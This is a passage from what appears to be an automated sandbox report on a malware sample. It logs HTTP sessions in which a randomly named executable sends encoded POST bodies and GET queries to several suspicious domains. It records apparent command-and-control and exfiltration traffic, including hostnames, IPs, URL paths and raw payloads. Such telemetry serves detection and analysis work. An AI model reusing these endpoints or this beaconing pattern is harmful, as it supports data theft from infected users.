                                    Data Ascii: 4N=7BpnY0h4/tuSYsbnYi3a576IFdVHn/R1TQR3t9h5WV6s3knR+7hU0HyAcYWo7gBm2hknvdsLLH869WOFd0nNiHqW/S8OOPporuBc56SpwMjMnrxZ7i5DMS0ZjghB3sMYkW0fFH/ZAX7DjX3XPCMAuih3XWXQJHh+foM8BnGCeSxkoqW/HQtL061YIbLHoqB2djkL6gUBsmt1hwOpmY1nWeYcQTvt0HT4QEEct8gL4gfPZyE/1f5CjDiAWt6YVOTTM2BVsgRd05RbHIrBT9k1CD4OvO8Wugr825eRt/oKtXUBMXrSk7tQDzT04M1nAp0SA8BzfBAqkpIeaCEOTM9+gX13EBpAZKDltf0LOUTlE72xBF6mTfV9SnbXOo3xGbJliOmkQOlRBevT38RYRstKXOSRzX+5cqYWbZTwjNCLX6HJq431yUm/7oKK8ksaMHt12ErMIB8HQqfoP48IqQqKPgA1WXoNeUVQfFyXjgKdMRY/PXQrfIOYUHfhjXaY13jsIAPQ2nMyOeoQcZgcECcRGgysfeTR3vC/8USqPQfcmqG7/q56HAqW/qI2jsf8tdio8ylC2qcr6Kwhyx8eLf4s8UuUAK+7yOzDEPRpGgwEFC+/8g0yS/4pakZtIo3dg2e1NUvGx8daDEDdWvNnrZNwHt2EBrisxfdfQa3j5JHZSixQ0VCBH/dwjFrRdURjpnXtt4DRU+Lx2fKWLHVDiKIUkY4Vo1m+Tsa9SgsCVkjGKc83I6omEQUQTnNPRv82DRbKQ4SRAUsCuHa+/YgN1W4un2tawk30vv6CLXv5SKgVH5cE0mcdkNcc3SE9p55Dte+M7+IjfDP9IRnO+SB6S04GQC2yKsB9UyW5iPeIWiB31PiPFeflhC8zj/ntOWBeRS3YwQCG6UdYG74YuHw7WLrUDaYRFCa9sY117LzIlwOL+DF102C9mqP5MVqpeOUIHWDv5uThQgHy0MKLBFeeoEEZgOA0OOMeIWHxdf25/gNY8Kj2isx3y [TRUNCATED]
                                    Sep 13, 2024 19:31:33.498620033 CEST668INHTTP/1.1 403 Forbidden
                                    Server: awselb/2.0
                                    Date: Fri, 13 Sep 2024 17:31:33 GMT
                                    Content-Type: text/html
                                    Content-Length: 520
                                    Connection: close
                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 [TRUNCATED]
                                    Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    16192.168.2.44975315.197.225.12880736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:35.575540066 CEST473OUTGET /61ud/?RBEDm=CZp0JDSHidn4fXc&4N=2DBHbBoX2+6nb8C0Yibv3MqYBPhH+NlFRg1Nmu0/ZA2WoX/U3YhT23vFQ76/xgNi1iI7jMUPHnRz5HyHcx3d1WSupjI/OO0+3Ph0io731eiQgdga4T5UO0k= HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Language: en-US,en
                                    Host: www.airbatchnow.online
                                    Connection: close
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Sep 13, 2024 19:31:36.032908916 CEST133INHTTP/1.1 404 Not Found
                                    Server: awselb/2.0
                                    Date: Fri, 13 Sep 2024 17:31:35 GMT
                                    Content-Length: 0
                                    Connection: close
                                    WAFRule: 5


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    17192.168.2.449754103.21.221.480736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:41.356081963 CEST756OUTPOST /r9rj/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.tempatmudisini01.click
                                    Content-Length: 199
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.tempatmudisini01.click
                                    Referer: http://www.tempatmudisini01.click/r9rj/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 58 71 49 69 56 76 41 69 39 36 66 55 6a 6a 41 74 33 4f 46 33 76 65 48 49 61 4b 4a 63 4d 46 50 36 59 36 73 38 75 79 64 55 76 43 6b 6f 34 71 62 56 53 4d 70 42 32 50 44 52 67 72 6b 4a 4d 43 4f 76 4e 49 41 73 52 58 4d 75 47 39 77 64 78 6a 6f 46 31 58 36 37 45 6e 73 43 52 41 62 38 6c 69 41 68 56 43 64 52 74 69 61 69 6e 6c 56 7a 57 4a 43 66 49 73 74 57 47 52 6c 46 30 73 46 41 77 45 50 70 49 70 61 37 2f 53 5a 35 71 4a 32 32 78 4d 57 59 41 30 39 33 61 65 73 73 38 46 4c 46 34 53 4b 57 62 71 43 67 63 48 6d 61 58 41 63 48 2b 64 52 4d 55 73 47 49 2b 36 64 53 47 62 58 6f 65 6e 55 4f 31 41 3d 3d
                                    Data Ascii: 4N=XqIiVvAi96fUjjAt3OF3veHIaKJcMFP6Y6s8uydUvCko4qbVSMpB2PDRgrkJMCOvNIAsRXMuG9wdxjoF1X67EnsCRAb8liAhVCdRtiainlVzWJCfIstWGRlF0sFAwEPpIpa7/SZ5qJ22xMWYA093aess8FLF4SKWbqCgcHmaXAcH+dRMUsGI+6dSGbXoenUO1A==


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    18192.168.2.449755103.21.221.480736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:43.909375906 CEST776OUTPOST /r9rj/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.tempatmudisini01.click
                                    Content-Length: 219
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.tempatmudisini01.click
                                    Referer: http://www.tempatmudisini01.click/r9rj/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 58 71 49 69 56 76 41 69 39 36 66 55 35 44 51 74 6b 76 46 33 6b 65 48 48 47 36 4a 63 58 56 50 2b 59 36 67 38 75 78 52 2b 76 58 30 6f 34 4b 72 56 56 49 46 42 31 50 44 52 6f 4c 6b 47 44 69 4f 77 4e 49 45 56 52 57 77 75 47 39 30 64 78 6d 45 46 31 41 6d 38 48 58 73 41 65 67 62 2b 37 53 41 68 56 43 64 52 74 6a 2f 33 6e 6d 6c 7a 58 35 79 66 4a 4e 74 52 49 78 6c 4b 69 38 46 41 30 45 50 74 49 70 61 5a 2f 51 73 53 71 4c 4f 32 78 4e 6d 59 42 6c 39 34 56 65 73 69 7a 6c 4b 71 39 51 71 47 57 61 47 68 57 78 32 36 63 67 4d 2b 79 37 41 57 46 64 6e 66 73 36 35 68 62 63 65 63 54 6b 70 48 75 4b 33 43 68 34 78 70 5a 66 43 58 47 55 54 7a 6d 52 49 42 4a 63 55 3d
                                    Data Ascii: 4N=XqIiVvAi96fU5DQtkvF3keHHG6JcXVP+Y6g8uxR+vX0o4KrVVIFB1PDRoLkGDiOwNIEVRWwuG90dxmEF1Am8HXsAegb+7SAhVCdRtj/3nmlzX5yfJNtRIxlKi8FA0EPtIpaZ/QsSqLO2xNmYBl94VesizlKq9QqGWaGhWx26cgM+y7AWFdnfs65hbcecTkpHuK3Ch4xpZfCXGUTzmRIBJcU=
                                    Sep 13, 2024 19:31:45.112298965 CEST1236INHTTP/1.1 404 Not Found
                                    Connection: close
                                    x-powered-by: PHP/7.4.33
                                    x-litespeed-tag: 894_HTTP.404
                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                    content-type: text/html; charset=UTF-8
                                    link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"
                                    x-litespeed-cache-control: no-cache
                                    cache-control: no-cache, no-store, must-revalidate, max-age=0
                                    transfer-encoding: chunked
                                    content-encoding: br
                                    vary: Accept-Encoding
                                    date: Fri, 13 Sep 2024 17:31:44 GMT
                                    server: LiteSpeed
                                    Data Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 [TRUNCATED]
                                    Data Ascii: 2d1b-QG0R|"!|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9!GnE="w}[h?8g*;q@Y8? q@&M[8`}e;+B7K-yOv;%38TZB}Ax=ZitssmoeYdgu'PFi.:?4XWCN2>dg3*M62/C/gl]CFR@JrCJ3O6:.$I9Zf"g>d@!gBw:T(<NjBWzF}6\+ `^f?T'I80Oq;1&cpk"nLa^qrz^>'<?vIz?'A8$RnW~^cRN}-abY-IxV_Yr*IRxqHym"5Q0/~tN\bd
                                    Sep 13, 2024 19:31:45.112344980 CEST1236INData Raw: 07 0c 7f 76 e2 80 bf 88 20 d0 3f 44 b1 46 04 91 a4 ae 8a e9 3a 4b 57 45 4a 91 6a 66 2a 02 bb 70 03 fa 5a 41 2d 98 86 66 ef 64 00 ab aa 72 5f c2 e3 35 61 f2 e4 fe ba f9 41 86 fa 18 87 64 ac 85 47 d2 2a 71 20 65 e0 7b 43 c7 98 92 87 be d9 cc eb 87
                                    Data Ascii: v ?DF:KWEJjf*pZA-fdr_5aAdG*q e{CiC"o/Vb=8$M+,FDhitpv7zg,S^@ps\LyY"nIZvob{x>b9?=I8pcCnphZl36S
                                    Sep 13, 2024 19:31:45.112377882 CEST1236INData Raw: 03 67 54 c8 60 cc c5 34 3d ae f6 21 cb 93 70 31 0d 24 89 84 9c 4e a6 56 a4 3e 92 ed 68 b6 e0 69 6a 5b 66 4e a2 55 78 de b6 0a cf d4 d2 6a 85 5f 41 91 38 20 f4 fa 0d 4e d8 80 c7 1b 9c b0 e9 e0 84 4d b6 bb 9c 6c 6e 2f d4 00 66 f7 23 60 55 4c a5 5c
                                    Data Ascii: gT`4=!p1$NV>hij[fNUxj_A8 NMln/f#`UL\Dl$V,(q-.\Yr #g=fpm3TFrDH}4SOy1VZ~Y9+A%vW2H5QRhg|,pr9kTb2;w:UQUQa~
                                    Sep 13, 2024 19:31:45.112411022 CEST672INData Raw: 25 57 2f b3 9a fc 88 a2 2b 8a 8e 69 a1 28 f2 f4 c1 23 b2 ac 3b 41 86 7a 24 a3 87 96 34 6b a5 5b 8d 83 99 0b 4f 1d 50 3c e4 7c 54 5e 52 74 73 c3 e4 37 b5 20 4b f0 98 a0 7d 08 2c 4e 55 7d 82 16 3c 37 71 31 36 09 a2 22 b5 b0 8e cb 6a f2 9f 63 61 cf
                                    Data Ascii: %W/+i(#;Az$4k[OP<|T^Rts7 K},NU}<7q16"jcatHVKpwu',pk)MY&|l4"*nEU+E/wQ4[~Mw!kE`RK`\sEYqC+S%(_Jbm\ a1Ht:<`i/g
                                    Sep 13, 2024 19:31:45.112442970 CEST1236INData Raw: 62 c6 1b 89 92 7b 27 dc a5 b1 06 73 67 30 8e 0b 31 87 ca 9c 4f 0f 87 55 0c b7 1f 86 17 9c af eb bd d8 82 3c 9e 28 75 87 7d c9 d3 bc 58 a4 f9 66 05 f9 c4 6b 84 7b 46 47 73 5e be e0 7c b5 17 f9 b7 42 be 43 7c 9d e6 ab 30 41 31 6d d8 52 6c d6 af 72
                                    Data Ascii: b{'sg01OU<(u}Xfk{FGs^|BC|0A1mRlr|DtANjo+{FL5!ky`\E(jV9Emt/29[s+&1n$BPNx*[KbiAvlKlcGhX{Bqoo#(
                                    Sep 13, 2024 19:31:45.112473965 CEST1236INData Raw: 2e 2d 14 be 36 28 bb db 18 57 16 8a 16 3b ed d4 ed 4c bd 56 dd fa 16 a3 ec 08 f1 39 4c ba cf 32 1b 6d ba 7d bf c4 e5 a1 75 17 43 51 55 54 88 8a 22 01 fe 23 9a 87 f6 82 5a d3 1a a9 10 8a 00 72 fe 23 12 3d 2b e7 e4 a1 c9 be 25 0d 27 bc a0 10 54 08
                                    Data Ascii: .-6(W;LV9L2m}uCQUT"#Zr#=+%'TNoGSkr=rKRN]kM9+s5E9-h^[WTk jD6#b(6:+FR=9UT XjtYSD$e`33kVS_Bb
                                    Sep 13, 2024 19:31:45.112505913 CEST1236INData Raw: 2a 71 be 2c de 5c 64 9b 11 f8 39 bc 08 30 e4 34 8e 8f 67 2d a0 ee 16 73 5d de 14 16 5f 27 58 e2 14 ab 3a cb a3 c4 b6 41 ef 82 a4 5f 93 7b 23 24 18 eb 41 84 1b 34 b8 35 01 c2 fb 43 72 c0 20 65 1a c5 f9 8f e4 aa 1f 47 3c 84 e8 82 0f 8e b9 21 89 79
                                    Data Ascii: *q,\d904g-s]_'X:A_{#$A45Cr eG<!yd?L!.rdO$,rC^GnXDR/@*)f#fY$+VRh"!^<oxJ1srI&mhq q$df"=YC7\"UJw$A4
                                    Sep 13, 2024 19:31:45.112536907 CEST1236INData Raw: 2b 32 f2 5f b9 72 82 6f e2 a0 73 47 e7 f0 d0 72 ee 49 6d c4 cd 98 f7 59 75 81 0e 11 49 6f be 39 62 2b da 28 b4 1e d2 e3 06 45 93 17 26 bc 5c 3b 4e 87 18 d7 1c fd 30 71 cb dc 9f 3a bc 38 6f ee a1 6d 0a a7 f8 b6 27 74 78 2c 30 80 b4 f3 37 d9 f6 87
                                    Data Ascii: +2_rosGrImYuIo9b+(E&\;N0q:8om'tx,07OD36?7LP&p&yFqr,>S(tB@YWj,@N5U*SuUS*h7j .tPI4*7%xEsB-|k\h3
                                    Sep 13, 2024 19:31:45.112569094 CEST1236INData Raw: b0 f4 ab 37 da f0 4a 6a 0b e6 21 ff da c8 f0 f1 dd 9f e4 f5 b3 9b 95 f1 ee fd 2f 46 54 3e 8a e7 4e 39 5b 33 7b b4 df 3b df 18 ce 99 24 36 40 ea 56 85 5e c0 67 e3 9a 37 0e bd 07 0b 22 23 60 78 e5 b5 04 d9 54 64 b0 54 19 d1 50 6b d4 a5 95 4a d1 83
                                    Data Ascii: 7Jj!/FT>N9[3{;$6@V^g7"#`xTdTPkJw]y^,R[^N9H7lA680*n`wcg!;nf9emXAvF3x3in`Mdm.dO0X?dCa|/5X_;4BUHuKq8!T
                                    Sep 13, 2024 19:31:45.112605095 CEST1236INData Raw: 39 db a8 15 cb e9 8a cd 69 4e 73 ba 62 39 ac 58 41 d7 bf 4f 41 73 c8 e1 02 e6 74 c5 96 b0 62 6b 98 de 67 49 57 6c 05 8f f1 0a 72 9a ff 4b 76 77 99 15 e1 b8 f7 7b 8d 9d b4 a0 07 15 00 2e 82 f1 3b 24 64 34 1d bf 49 e7 db 92 60 bf d0 92 0e 05 4d 21
                                    Data Ascii: 9iNsb9XAOAstbkgIWlrKvw{.;$d4I`M!I2FOF+G7=IQv`,jj4D'(9A!e`#x6N^tVOo-JCEUV+wiQPT[#G5VN5]EwPW=YVV0G#Xrp
                                    Sep 13, 2024 19:31:45.114219904 CEST256INData Raw: 75 c0 06 1e ad 84 4b db e3 41 6a 2d f5 01 4c 0b 32 b8 6f cc 22 ba ad d9 c4 8d 18 03 5d 3d 8c 3c c8 85 23 42 cf 7c 71 94 6a 35 18 84 3f 7f 34 8d 7c e1 af 0d dd 91 8c 64 8e a7 9b cd 3c fc f9 cb e3 ae 20 fa e6 ec 1f c1 68 04 d9 c2 83 8c 50 af 67 47
                                    Data Ascii: uKAj-L2o"]=<#B|qj5?4|d< hPgGd`Q8Wg:8@3zJt&{~bTf"@K<Na:f) *+O?KlR8Ma$ ),g&C:G"i&8A[;


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    19192.168.2.449756103.21.221.480736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:46.526807070 CEST10858OUTPOST /r9rj/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.tempatmudisini01.click
                                    Content-Length: 10299
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.tempatmudisini01.click
                                    Referer: http://www.tempatmudisini01.click/r9rj/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 58 71 49 69 56 76 41 69 39 36 66 55 35 44 51 74 6b 76 46 33 6b 65 48 48 47 36 4a 63 58 56 50 2b 59 36 67 38 75 78 52 2b 76 58 38 6f 37 37 4c 56 56 70 46 42 30 50 44 52 30 62 6b 46 44 69 50 71 4e 49 39 64 52 57 38 2b 47 2f 63 64 78 41 51 46 69 6b 53 38 51 48 73 41 63 67 62 37 6c 69 41 30 56 43 4e 56 74 6a 76 33 6e 6d 6c 7a 58 36 71 66 66 73 74 52 46 52 6c 46 30 73 46 79 77 45 50 46 49 70 43 6a 2f 51 6f 6b 71 37 75 32 79 74 32 59 47 58 6c 34 63 65 73 67 6e 46 4b 79 39 51 6e 42 57 61 62 59 57 78 71 63 63 69 51 2b 78 61 73 41 65 64 71 47 33 34 52 6b 4c 4d 50 2f 53 46 52 47 6e 74 37 58 76 4c 78 39 4f 37 47 48 4d 54 32 59 31 79 51 52 65 5a 41 6b 48 6e 46 42 78 66 54 41 66 68 56 65 68 71 6a 54 56 72 52 77 71 71 70 6b 31 67 4c 30 34 79 6b 4c 4f 36 62 44 77 57 4e 4a 53 44 72 6f 4c 37 4f 39 79 75 45 2b 73 37 37 54 41 70 7a 70 58 47 34 59 59 36 43 78 41 2b 53 34 79 4b 50 6c 73 37 2b 37 68 39 65 51 43 32 79 2b 73 58 37 37 6f 33 73 69 37 7a 63 42 72 6f 6f 42 56 4a 64 58 55 6e 79 65 4c 72 6f 53 5a 71 30 [TRUNCATED]
                                    Data Ascii: 4N=XqIiVvAi96fU5DQtkvF3keHHG6JcXVP+Y6g8uxR+vX8o77LVVpFB0PDR0bkFDiPqNI9dRW8+G/cdxAQFikS8QHsAcgb7liA0VCNVtjv3nmlzX6qffstRFRlF0sFywEPFIpCj/Qokq7u2yt2YGXl4cesgnFKy9QnBWabYWxqcciQ+xasAedqG34RkLMP/SFRGnt7XvLx9O7GHMT2Y1yQReZAkHnFBxfTAfhVehqjTVrRwqqpk1gL04ykLO6bDwWNJSDroL7O9yuE+s77TApzpXG4YY6CxA+S4yKPls7+7h9eQC2y+sX77o3si7zcBrooBVJdXUnyeLroSZq0VMtgiYOcs8Gi4lwAK89LS74QhqYJPK6vrqwxMuYGnKJdfmISEAR9L3lSVyZyOG+1YOHzU8Ad+6RY7KggtzERfmtFspGFc2AmsgiJiC9Z6bpvwXw46Qn5sSypLWQTsug1IONRMHF1irb5FIE1dnJXUS6yG+Uk1ey/7mYUeFXAJK0EPj1+k+8AB7FXryOQkRs8w9xdF21aarwM2A7jvl4AXzOMsBnQmPvfrH8WtGPjqTq7IaE9HqXsXtcC4X8NEjCRJkMCrmg6h2aFqhvivFw9jedz9ds6nL6qJf8Osc5YwBCz/96kkw7WoZ9LwrQWMCPSmAoInMKQjcfQXqWzFjRY5LWmury+V2LC4D/TDksOWJYDm0fjbr2FCyBaqHCo0B5nHv1efftyIsr3yor1EYq6gwd4WxJyojGkrjHXQK//9Le6d3dptnInA8WObPgYVwr+NF5DLuu+fmB9+HckwTA4RY3AO88eKooKccN64LkvkhAzViqCOU1w/RN3qNX+XLux6EAz25kthYF/aK1aUCIPUNPnpVM4uIGZXVkBIjjAgmheXd0BNhpqTAwG4DwYjSxJIL8Ccq2pZQGuhmmXKiy+WwLrHzOGx575YSgSJqMN5Xj8wDwkotZOPZf1dqF+OwjxaOEf76CbMjTii0EY9BZzghSS21o/8Kk07N [TRUNCATED]


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    20192.168.2.449757103.21.221.480736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:49.062633038 CEST477OUTGET /r9rj/?4N=aogCWYQt76vYu0d4luZRp+fpF4NfPnj2O7M7hRst638B8YbrbYp757OzsKpEGT6sefQSU1s6IdJJ4zJyggemFFoDICvh6C9DXBpfqxijk0cweu2uAMh3EgI=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Language: en-US,en
                                    Host: www.tempatmudisini01.click
                                    Connection: close
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Sep 13, 2024 19:31:50.439048052 CEST531INHTTP/1.1 301 Moved Permanently
                                    Connection: close
                                    x-powered-by: PHP/7.4.33
                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                    cache-control: no-cache, must-revalidate, max-age=0
                                    content-type: text/html; charset=UTF-8
                                    x-redirect-by: WordPress
                                    location: http://tempatmudisini01.click/r9rj/?4N=aogCWYQt76vYu0d4luZRp+fpF4NfPnj2O7M7hRst638B8YbrbYp757OzsKpEGT6sefQSU1s6IdJJ4zJyggemFFoDICvh6C9DXBpfqxijk0cweu2uAMh3EgI=&RBEDm=CZp0JDSHidn4fXc
                                    x-litespeed-cache: miss
                                    content-length: 0
                                    date: Fri, 13 Sep 2024 17:31:50 GMT
                                    server: LiteSpeed


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    21192.168.2.449758192.241.156.13680736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:55.541465998 CEST744OUTPOST /3t5s/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.luismoreno.monster
                                    Content-Length: 199
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.luismoreno.monster
                                    Referer: http://www.luismoreno.monster/3t5s/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 45 38 42 41 4a 78 6c 2b 6e 56 47 73 48 57 62 52 4d 50 64 44 45 33 59 42 75 4e 6c 4c 63 68 5a 32 50 73 69 4b 66 2f 38 72 53 42 48 49 48 64 5a 4c 54 48 55 71 76 6a 33 74 75 43 39 41 69 73 50 46 47 47 4b 54 33 42 46 44 76 4b 67 63 75 42 4b 30 4b 46 66 65 72 32 31 64 71 72 53 58 34 37 78 45 75 4d 4f 4e 52 63 45 69 41 57 54 43 77 65 69 73 72 34 4c 39 4d 6a 50 45 35 52 79 44 4d 51 51 34 35 2b 6a 65 76 44 37 7a 5a 36 6f 33 33 72 67 5a 43 4a 43 52 2b 6c 6b 38 74 51 2f 6b 76 56 44 74 30 36 68 76 6b 4a 59 39 45 44 33 55 51 48 4b 42 50 79 75 6c 79 49 32 4f 68 70 51 6c 55 71 6d 6b 61 41 3d 3d
                                    Data Ascii: 4N=E8BAJxl+nVGsHWbRMPdDE3YBuNlLchZ2PsiKf/8rSBHIHdZLTHUqvj3tuC9AisPFGGKT3BFDvKgcuBK0KFfer21dqrSX47xEuMONRcEiAWTCweisr4L9MjPE5RyDMQQ45+jevD7zZ6o33rgZCJCR+lk8tQ/kvVDt06hvkJY9ED3UQHKBPyulyI2OhpQlUqmkaA==
                                    Sep 13, 2024 19:31:55.988044024 CEST386INHTTP/1.1 404 Not Found
                                    Server: nginx/1.24.0 (Ubuntu)
                                    Date: Fri, 13 Sep 2024 17:31:55 GMT
                                    Content-Type: text/html
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Content-Encoding: gzip
                                    Data Raw: 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 31 0b c2 30 10 85 77 c1 ff 70 6e 3a a4 69 a5 63 c8 22 0a 0e ba 88 3f 20 f5 ce 36 90 5e 24 a6 60 ff bd a9 b6 20 ce 8e 8e f7 ee 7b 8f c7 53 4d 6c 9d 9e cf 54 43 06 b5 8a 36 3a d2 65 5e c2 d1 47 d8 f9 8e 51 c9 b7 a8 e4 0b 49 68 e5 b1 1f 2c 17 e2 48 41 ab a6 f8 76 24 45 c9 f1 3d 64 27 68 bc b8 b6 fc 90 45 b6 2e b3 1c 96 e7 aa e3 d8 ad 3e 59 39 a5 cb a9 d9 42 08 30 70 33 88 96 6b 88 1e d0 de 4d e5 08 0e a7 fd 16 0c 23 6c 9a e0 5b 82 6b b0 c4 e8 7a a0 10 7c 48 8e 9a 40 88 a1 e9 3f e2 97 5b 3c 01 f0 75 41 1e 34 02 00 00 0d 0a 30 0d 0a 0d 0a
                                    Data Ascii: b910wpn:ic"? 6^$` {SMlTC6:e^GQIh,HAv$E=d'hE.>Y9B0p3kM#l[kz|H@?[<uA40


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
